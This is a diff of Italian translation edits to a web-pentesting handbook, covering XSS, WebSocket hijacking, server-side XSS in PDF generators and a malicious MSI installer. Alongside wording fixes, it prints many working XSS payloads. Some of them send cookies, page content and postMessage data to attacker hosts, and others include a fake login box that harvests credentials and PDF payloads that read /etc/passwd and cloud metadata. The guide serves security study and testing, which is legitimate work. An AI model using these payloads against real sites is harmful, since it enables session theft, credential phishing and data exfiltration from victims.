-Copia l'applicazione web che desideri impersonare (i file .html per esempio) e all'interno dello script in cui avviene la comunicazione tramite websocket aggiungi questo codice:
+Copia l'applicazione web che desideri impersonare (i file .html ad esempio) e all'interno dello script in cui avviene la comunicazione tramite websocket aggiungi questo codice:
 ```javascript
 //This is the script tag to load the websocket hooker
 ;<script src="wsHook.js"></script>
@ -136,7 +136,7 @@ sudo python3 -m http.server 80
 ```
 ## Condizioni di gara

-Le condizioni di gara nei WebSocket sono anche un problema, [controlla queste informazioni per saperne di più](race-condition.md#rc-in-websockets).
+Le condizioni di gara nei WebSocket sono un problema, [controlla queste informazioni per saperne di più](race-condition.md#rc-in-websockets).

 ## Altre vulnerabilità

--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@ -2,7 +2,7 @@

 ## Metodologia

-1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _header_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
+1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _intestazioni_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
 2. **Trova il contesto** in cui è riflesso/utilizzato.
 3. Se **riflesso**
 1. Controlla **quali simboli puoi usare** e a seconda di ciò, prepara il payload:
@ -12,14 +12,14 @@
 3. Puoi bypassare le protezioni?
 4. Il contenuto HTML viene interpretato da qualche motore JS lato client (_AngularJS_, _VueJS_, _Mavo_...), potresti abusare di un [**Client Side Template Injection**](../client-side-template-injection-csti.md).
 5. Se non puoi creare tag HTML che eseguono codice JS, potresti abusare di un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
-2. Dentro un **tag HTML**:
+2. All'interno di un **tag HTML**:
 1. Puoi uscire nel contesto HTML grezzo?
 2. Puoi creare nuovi eventi/attributi per eseguire codice JS?
 3. L'attributo in cui sei intrappolato supporta l'esecuzione di JS?
 4. Puoi bypassare le protezioni?
-3. Dentro **codice JavaScript**:
-1. Puoi scappare dal tag `<script>`?
-2. Puoi scappare dalla stringa ed eseguire codice JS diverso?
+3. All'interno del **codice JavaScript**:
+1. Puoi sfuggire al tag `<script>`?
+2. Puoi sfuggire alla stringa ed eseguire codice JS diverso?
 3. I tuoi input sono in template literals \`\`?
 4. Puoi bypassare le protezioni?
 4. Funzione Javascript **in esecuzione**
@ -35,29 +35,29 @@ debugging-client-side-js.md

 ## Valori riflessi

-Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
+Per sfruttare con successo un XSS, la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.

- **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web potresti sfruttare un **Reflected XSS**.
- **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server ed è riflesso ogni volta che accedi a una pagina potresti sfruttare un **Stored XSS**.
- **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS potresti sfruttare un **DOM XSS**.
+- **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web, potresti sfruttare un **Reflected XSS**.
+- **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina, potresti sfruttare un **Stored XSS**.
+- **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS, potresti sfruttare un **DOM XSS**.

 ## Contesti

-Quando cerchi di sfruttare un XSS la prima cosa che devi sapere è **dove il tuo input viene riflesso**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
+Quando cerchi di sfruttare un XSS, la prima cosa che devi sapere è **dove viene riflesso il tuo input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.

 ### HTML grezzo

-Se il tuo input è **riflesso nella pagina HTML grezza** dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
+Se il tuo input è **riflesso sulla pagina HTML grezza**, dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
 Inoltre, tieni a mente [Client Side Template Injection](../client-side-template-injection-csti.md).

-### Dentro l'attributo dei tag HTML
+### All'interno dell'attributo dei tag HTML

-Se il tuo input è riflesso dentro il valore dell'attributo di un tag potresti provare:
+Se il tuo input è riflesso all'interno del valore dell'attributo di un tag, potresti provare:

-1. A **scappare dall'attributo e dal tag** (poi sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: `"><img [...]`
-2. Se **puoi scappare dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
-3. Se **non puoi scappare dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** il tuo valore è riflesso **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
-4. Se il tuo input è riflesso dentro "**tag non sfruttabili**" potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarla): **`" accesskey="x" onclick="alert(1)" x="`**
+1. A **sfuggire dall'attributo e dal tag** (poi sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: `"><img [...]`
+2. Se **puoi sfuggire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
+3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** il tuo valore è riflesso in **se controlli tutto il valore o solo una parte**, sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=`, sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
+4. Se il tuo input è riflesso all'interno di "**tag non sfruttabili**", potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarlo): **`" accesskey="x" onclick="alert(1)" x="`**

 Esempio strano di Angular che esegue XSS se controlli un nome di classe:
 ```html
@ -70,12 +70,7 @@ Esempio strano di Angular che esegue XSS se controlli un nome di classe:
 In questo caso, il tuo input è riflesso tra i tag **`<script> [...] </script>`** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**:

 - Se riflesso tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` e uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `</script>` iniettato è all'interno del codice HTML.
- Se riflesso **all'interno di una stringa JS** e l'ultimo trucco non funziona, dovresti **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- Se riflesso all'interno di template literals puoi **inserire espressioni JS** utilizzando la sintassi `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
- **La codifica Unicode** funziona per scrivere **codice javascript valido**:
+- Se riflesso **all'interno di una stringa JS** e l'ultimo trucco non funziona, dovresti **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire**
 ```javascript
 alert(1)
 alert(1)
@ -132,7 +127,7 @@ dom-xss.md

 ### **Universal XSS**

-Questi tipi di XSS possono essere trovati **ovunque**. Non dipendono solo dall'esploitazione client di un'applicazione web ma da **qualsiasi** **contesto**. Questi tipi di **esecuzione arbitraria di JavaScript** possono persino essere sfruttati per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\
+Questi tipi di XSS possono essere trovati **ovunque**. Non dipendono solo dall'exploitation client di un'applicazione web ma da **qualsiasi** **contesto**. Questi tipi di **esecuzione arbitraria di JavaScript** possono persino essere sfruttati per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\
 Alcuni **esempi**:

 {{#ref}}
@ -226,7 +221,7 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### Length bypass (small XSSs)
+### Bypass di lunghezza (piccoli XSS)

 > [!NOTE] > **Altri piccoli XSS per diversi ambienti** payload [**possono essere trovati qui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**qui**](https://tinyxss.terjanq.me).
 ```html
@ -295,7 +290,7 @@ Nota che **qualsiasi tipo di codifica HTML è valido**:
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
-**Bypass dell'evento interno utilizzando la codifica Unicode**
+**Bypass all'interno dell'evento utilizzando la codifica Unicode**
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -326,7 +321,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 **Luoghi in cui puoi iniettare questi protocolli**

 **In generale**, il protocollo `javascript:` può essere **utilizzato in qualsiasi tag che accetta l'attributo `href`** e nella **maggior parte** dei tag che accettano l'**attributo `src`** (ma non `<img`)
-```markup
+```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
 <form action="javascript:alert(1)"><button>send</button></form>
@ -423,7 +418,7 @@ onbeforetoggle="alert(2)" />
 <div popover id="newsletter">Newsletter popup</div>
 ```
 Da [**qui**](https://portswigger.net/research/xss-in-hidden-input-fields): Puoi eseguire un **payload XSS all'interno di un attributo nascosto**, a patto di poter **persuadere** la **vittima** a premere la **combinazione di tasti**. Su Firefox Windows/Linux la combinazione di tasti è **ALT+SHIFT+X** e su OS X è **CTRL+ALT+X**. Puoi specificare una combinazione di tasti diversa utilizzando un tasto diverso nell'attributo access key. Ecco il vettore:
-```markup
+```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
 **Il payload XSS sarà qualcosa del genere: `" accesskey="x" onclick="alert(1)" x="`**
@ -468,7 +463,7 @@ Questo trucco è stato preso da [https://medium.com/@skavans\_/improving-the-imp

 ## Iniezione all'interno del codice JavaScript

-In questo caso il **tuo input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `<script>...</script>` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`.
+In questi casi il **tuo input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `<script>...</script>` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`.

 ### Escape del tag \<script>

@ -488,7 +483,7 @@ Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** do
 ```
 ### Template literals \`\`

-Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è conosciuto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
+Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è conosciuto come template literals poiché consentono di **incorporare espressioni JS** utilizzando la sintassi `${ ... }`.\
 Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:

 Questo può essere **abusato** utilizzando:
@ -496,15 +491,15 @@ Questo può essere **abusato** utilizzando:
 ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
 ```

-```````````````javascript
+```javascript
 // This is valid JS code, because each time the function returns itself it's recalled with ``
 function loop() {
 return loop
 }
-loop``````````````
-```````````````
+loop``
+```
 ### Esecuzione di codice codificato
-```markup
+```html
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
 <svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
@ -599,7 +594,7 @@ console.log(log)
 //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
 ```
 **JavaScript senza parentesi**
-````javascript
+```javascript
 // By setting location
 window.location='javascript:alert\x281\x29'
 x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
@ -672,12 +667,12 @@ try{throw onerror=alert}catch{throw 1}
 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
 // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
-````
+```
 - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
 - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)

 **Chiamata di funzione arbitraria (alert)**
-````javascript
+```javascript
 //Eval like functions
 eval('ale'+'rt(1)')
 setTimeout('ale'+'rt(2)');
@ -735,7 +730,7 @@ top['al\145rt'](1)
 top['al\x65rt'](1)
 top[8680439..toString(30)](1)
 <svg><animate onbegin=alert() attributeName=x></svg>
-````
+```
 ## **Vulnerabilità DOM**

 C'è del **codice JS** che utilizza **dati controllati in modo non sicuro da un attaccante** come `location.href`. Un attaccante potrebbe abusare di questo per eseguire codice JS arbitrario.\
@ -746,13 +741,13 @@ dom-xss.md
 {{#endref}}

 Lì troverai una dettagliata **spiegazione di cosa sono le vulnerabilità DOM, come vengono provocate e come sfruttarle**.\
-Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una spiegazione sugli [**attacchi DOM Clobbering**](dom-xss.md#dom-clobbering).
+Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una spiegazione sugli [**attacchi di DOM Clobbering**](dom-xss.md#dom-clobbering).

 ### Aggiornamento Self-XSS

 ### Cookie XSS

-Se riesci a innescare un XSS inviando il payload all'interno di un cookie, questo è solitamente un self-XSS. Tuttavia, se trovi un **sottodominio vulnerabile a XSS**, potresti abusare di questo XSS per iniettare un cookie nell'intero dominio riuscendo a innescare il cookie XSS nel dominio principale o in altri sottodomini (quelli vulnerabili a cookie XSS). Per questo puoi utilizzare l'attacco cookie tossing:
+Se puoi attivare un XSS inviando il payload all'interno di un cookie, questo è solitamente un self-XSS. Tuttavia, se trovi un **sottodominio vulnerabile a XSS**, potresti abusare di questo XSS per iniettare un cookie nell'intero dominio riuscendo a attivare il cookie XSS nel dominio principale o in altri sottodomini (quelli vulnerabili a cookie XSS). Per questo puoi utilizzare l'attacco di cookie tossing:

 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
@ -782,7 +777,7 @@ Potresti controllare se i **valori riflessi** vengono **normalizzati in unicode*
 ```
 ### Ruby-On-Rails bypass

-A causa di **RoR mass assignment** le virgolette vengono inserite nell'HTML e poi la restrizione delle virgolette viene bypassata e possono essere aggiunti campi aggiuntivi (onfocus) all'interno del tag.\
+A causa di **RoR mass assignment**, le virgolette vengono inserite nell'HTML e poi la restrizione delle virgolette viene bypassata e possono essere aggiunti campi aggiuntivi (onfocus) all'interno del tag.\
 Esempio di modulo ([da questo report](https://hackerone.com/reports/709336)), se invii il payload:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -794,7 +789,7 @@ La coppia "Key","Value" verrà restituita in questo modo:
 Poi, l'attributo onfocus verrà inserito e si verifica XSS.

 ### Combinazioni speciali
-```markup
+```html
 <iframe/src="data:text/html,<svg onload=alert(1)>">
 <input type=image src onerror="prompt(1)">
 <svg onload=alert(1)//
@ -825,7 +820,7 @@ document['default'+'View'][`\u0061lert`](3)
 ```
 ### XSS con iniezione di intestazioni in una risposta 302

-Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo **non è banale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.
+Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo è **non banale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.

 In [**questo report**](https://www.gremwell.com/firefox-xss-302) e [**questo**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli all'interno dell'intestazione Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.\
 Protocolli noti in passato: `mailto://`, `//x:1/`, `ws://`, `wss://`, _intestazione Location vuota_, `resource://`.
@ -868,9 +863,7 @@ const char* const kSupportedJavascriptTypes[] = {
 ```html
 <script type="???"></script>
 ```
-La risposta è:
-
- **module** (predefinito, nulla da spiegare)
+- **modulo** (predefinito, nulla da spiegare)
 - [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che consente di impacchettare un insieme di dati (HTML, CSS, JS…) insieme in un file **`.wbn`**.
 ```html
 <script type="webbundle">
@ -993,7 +986,7 @@ Se **tutto è indefinito** prima di eseguire codice non affidabile (come in [**q
 // although import "fs" doesn’t work, import('fs') does.
 import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
- Accesso a `require` in modo indiretto
+- Accessing `require` indirectly

 [Secondo questo](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono racchiusi da Node.js all'interno di una funzione, in questo modo:
 ```javascript
@ -1246,7 +1239,7 @@ Costringere l'utente a navigare nella pagina senza uscire da un iframe e rubare
 ../iframe-traps.md
 {{#endref}}

-### Recupera Cookies
+### Recupera Cookie
 ```javascript
 <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
 <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1271,7 +1264,7 @@ Costringere l'utente a navigare nella pagina senza uscire da un iframe e rubare
 > [!NOTE]
 > Non **sarai in grado di accedere ai cookie da JavaScript** se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per bypassare questa protezione](../hacking-with-cookies/index.html#httponly) se sei abbastanza fortunato.

-### Rubare Contenuto della Pagina
+### Rubare il contenuto della pagina
 ```javascript
 var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
 var attacker = "http://10.10.14.8/exfil"
@ -1341,7 +1334,7 @@ q.shift()()
 }
 </script>
 ```
-### Scanner di porte (fetch)
+### Port Scanner (fetch)
 ```javascript
 const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
 ```
@ -1365,7 +1358,7 @@ _Tempi brevi indicano una porta che risponde_ _Tempi più lunghi indicano nessun
 Controlla l'elenco delle porte vietate in Chrome [**qui**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) e in Firefox [**qui**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).

 ### Box per richiedere credenziali
-```markup
+```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
 ### Cattura delle password di auto-compilazione
@ -1406,7 +1399,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
 </script>
 ```
 ### Furto di messaggi PostMessage
-```markup
+```html
 <img src="https://attacker.com/?" id=message>
 <script>
 window.onmessage = function(e){
@ -1434,7 +1427,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
 ### Payload XSS ciechi

 Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com)
-```markup
+```html
 "><img src='//domain/xss'>
 "><script src="//domain/xss.js"></script>
 ><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
@ -1473,7 +1466,7 @@ Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com)
 <!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
 <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
 ```
-### Regex - Accesso ai Contenuti Nascosti
+### Regex - Access Hidden Content

 Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
 ```javascript
@ -1543,7 +1536,7 @@ Esempio [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gma
 ### XSS caricamento file (svg)

 Carica come immagine un file come il seguente (da [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
-```markup
+```html
 Content-Type: multipart/form-data; boundary=---------------------------232181429808
 Content-Length: 574
 -----------------------------232181429808
@ -1561,13 +1554,13 @@ alert(1);
 -----------------------------232181429808--
 ```

-```markup
+```html
 <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
 <script type="text/javascript">alert("XSS")</script>
 </svg>
 ```

-```markup
+```html
 <?xml version="1.0" standalone="no"?>
 <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
 <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
--- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
+++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
@ -21,7 +21,7 @@ Inoltre, nota che in una regolare sfruttamento sarai **in grado di vedere/scaric
 ## Payloads

 ### Discovery
-```markup
+```html
 <!-- Basic discovery, Write somthing-->
 <img src="x" onerror="document.write('test')" />
 <script>document.write(JSON.stringify(window.location))</script>
@ -36,7 +36,7 @@ Inoltre, nota che in una regolare sfruttamento sarai **in grado di vedere/scaric
 ### SVG

 Qualsiasi dei payload precedenti o seguenti può essere utilizzato all'interno di questo payload SVG. Un iframe che accede al sottodominio Burpcollab e un altro che accede all'endpoint dei metadati sono forniti come esempi.
-```markup
+```html
 <svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
 <g>
 <foreignObject width="800" height="500">
@ -63,7 +63,7 @@ alert(1);
 Puoi trovare molti **altri payload SVG** in [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)

 ### Rivelazione del percorso
-```markup
+```html
 <!-- If the bot is accessing a file:// path, you will discover the internal path
 if not, you will at least have wich path the bot is accessing -->
 <img src="x" onerror="document.write(window.location)" />
@ -72,7 +72,7 @@ if not, you will at least have wich path the bot is accessing -->
 ### Carica uno script esterno

 Il modo migliore per sfruttare questa vulnerabilità è abusare della vulnerabilità per far caricare al bot uno script che controlli localmente. In questo modo, sarai in grado di modificare il payload localmente e far caricare al bot lo stesso codice ogni volta.
-```markup
+```html
 <script src="http://attacker.com/myscripts.js"></script>
 <img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
 ```
@ -82,7 +82,7 @@ Il modo migliore per sfruttare questa vulnerabilità è abusare della vulnerabil
 > Cambia `file:///etc/passwd` con `http://169.254.169.254/latest/user-data` per esempio per **cercare di accedere a una pagina web esterna (SSRF)**.
 >
 > Se SSRF è consentito, ma **non puoi raggiungere** un dominio o un IP interessante, [controlla questa pagina per potenziali bypass](../ssrf-server-side-request-forgery/url-format-bypass.md).
-```markup
+```html
 <script>
 x=new XMLHttpRequest;
 x.onload=function(){document.write(btoa(this.responseText))};
@ -90,7 +90,7 @@ x.open("GET","file:///etc/passwd");x.send();
 </script>
 ```

-```markup
+```html
 <script>
 xhzeem = new XMLHttpRequest();
 xhzeem.onload = function(){document.write(this.responseText);}
@ -100,7 +100,7 @@ xhzeem.send();
 </script>
 ```

-```markup
+```html
 <iframe src=file:///etc/passwd></iframe>
 <img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
 <link rel=attachment href="file:///root/secret.txt">
@ -112,11 +112,11 @@ xhzeem.send();
 <meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
 ```

-```markup
+```html
 <annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
 ```
 ### Ritardo del bot
-```markup
+```html
 <!--Make the bot send a ping every 500ms to check how long does the bot wait-->
 <script>
 let time = 500;
@ -129,7 +129,7 @@ time += 500;
 <img src="https://attacker.com/delay">
 ```
 ### Scansione delle porte
-```markup
+```html
 <!--Scan local port and receive a ping indicating which ones are found-->
 <script>
 const checkPort = (port) => {
@ -147,7 +147,7 @@ checkPort(i);
 ```
 ### [SSRF](../ssrf-server-side-request-forgery/index.html)

-Questa vulnerabilità può essere facilmente trasformata in un SSRF (poiché puoi far caricare allo script risorse esterne). Quindi prova a sfruttarla (leggi alcuni metadati?).
+Questa vulnerabilità può essere facilmente trasformata in un SSRF (poiché puoi far caricare allo script risorse esterne). Quindi prova semplicemente a sfruttarla (leggi alcuni metadati?).

 ### Attachments: PD4ML

--- a/src/todo/interesting-http.md
+++ b/src/todo/interesting-http.md
@ -6,7 +6,7 @@ Il referrer è l'intestazione utilizzata dai browser per indicare quale fosse la

 ## Informazioni sensibili trapelate

-Se in un certo momento all'interno di una pagina web si trovano informazioni sensibili nei parametri di una richiesta GET, se la pagina contiene link a fonti esterne o un attaccante è in grado di far visitare all'utente un URL controllato dall'attaccante (ingegneria sociale). Potrebbe essere in grado di esfiltrare le informazioni sensibili all'interno dell'ultima richiesta GET.
+Se in un certo momento all'interno di una pagina web si trovano informazioni sensibili nei parametri di una richiesta GET, se la pagina contiene link a fonti esterne o un attaccante è in grado di far visitare (ingegneria sociale) all'utente un URL controllato dall'attaccante. Potrebbe essere in grado di esfiltrare le informazioni sensibili all'interno dell'ultima richiesta GET.

 ## Mitigazione

@ -21,10 +21,10 @@ Referrer-Policy: strict-origin
 Referrer-Policy: strict-origin-when-cross-origin
 Referrer-Policy: unsafe-url
 ```
-## Contro-mitigazione
+## Contromisure

 Puoi sovrascrivere questa regola utilizzando un tag meta HTML (l'attaccante deve sfruttare un'iniezione HTML):
-```markup
+```html
 <meta name="referrer" content="unsafe-url">
 <img src="https://attacker.com">
 ```
--- a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
@ -7,7 +7,7 @@ La creazione dell'installer MSI sarà effettuata utilizzando wixtools, in partic
 Per una comprensione completa degli esempi di utilizzo di wix MSI, è consigliabile consultare [questa pagina](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Qui puoi trovare vari esempi che dimostrano l'uso di wix MSI.

 L'obiettivo è generare un MSI che eseguirà il file lnk. Per raggiungere questo obiettivo, potrebbe essere impiegato il seguente codice XML ([xml da qui](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)):
-```markup
+```html
 <?xml version="1.0"?>
 <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
 <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
@ -44,7 +44,7 @@ Il processo di creazione prevede l'utilizzo di candle.exe, uno strumento di wixt
 ```
 candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
 ```
-Inoltre, vale la pena menzionare che un'immagine è fornita nel post, che illustra il comando e il suo output. Puoi fare riferimento ad essa per una guida visiva.
+Inoltre, vale la pena menzionare che un'immagine è fornita nel post, che mostra il comando e il suo output. Puoi fare riferimento ad essa per una guida visiva.

 Inoltre, light.exe, un altro strumento di wixtools, sarà utilizzato per creare il file MSI dall'wixobject. Il comando da eseguire è il seguente:
 ```